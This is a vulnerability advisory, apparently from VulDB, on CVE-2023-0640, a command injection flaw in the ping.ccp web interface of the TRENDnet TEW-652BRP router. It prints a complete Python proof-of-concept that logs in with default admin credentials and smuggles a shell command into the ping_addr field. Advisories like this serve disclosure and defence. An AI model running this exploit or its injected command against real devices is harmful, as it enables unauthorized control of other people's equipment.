A vulnerability was found in TRENDnet TEW-652BRP 3.04b01. It has been classified as critical. Affected is an unknown part of the file ping.ccp of the component Web Interface. The manipulation with an unknown input leads to a command injection vulnerability. CWE is classifying the issue as CWE-77. The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was published 02/02/2023. This vulnerability is traded as CVE-2023-0640. Technical details and a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1202.

A public exploit has been developed in Python. The exploit is shared for download at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'admin'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.2'

headers = {'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': 'application/x-www-form-urlencoded', 
'Origin': 'http://{}'.format(device_web_ip), 
'Connection': 'keep-alive', 
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip), 
'Upgrade-Insecure-Requests': '1'}

login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r = requests.post(url=login_url, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
  print('Login wrong, please retry!')
  exit()

params = {
  'ccp_act': 'ping_v4', 
  'nextPage': 'ping_back.htm', 
  'html_response_page': 'ping_back.htm', 
  'html_response_message': 'The+setting+is+saved.', 
  'html_response_return_page': 'ping_test.htm', 
  'ping_addr': 'abcd"$(ping -c 1 {})"'.format(ping_target_ip), 
  'ping': 'Ping', 
  'deviceList': '', 
  '/friendlyName': ''
  }
method = 'POST'
url = 'http://{}/ping.ccp'.format(device_web_ip)

try:
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except:
  pass

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Productinfo

Vendor

• TRENDnet

Name

• TEW-652BRP

License

• commercial

CPE 2.3info

• 🔒

CPE 2.2info

• 🔒

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

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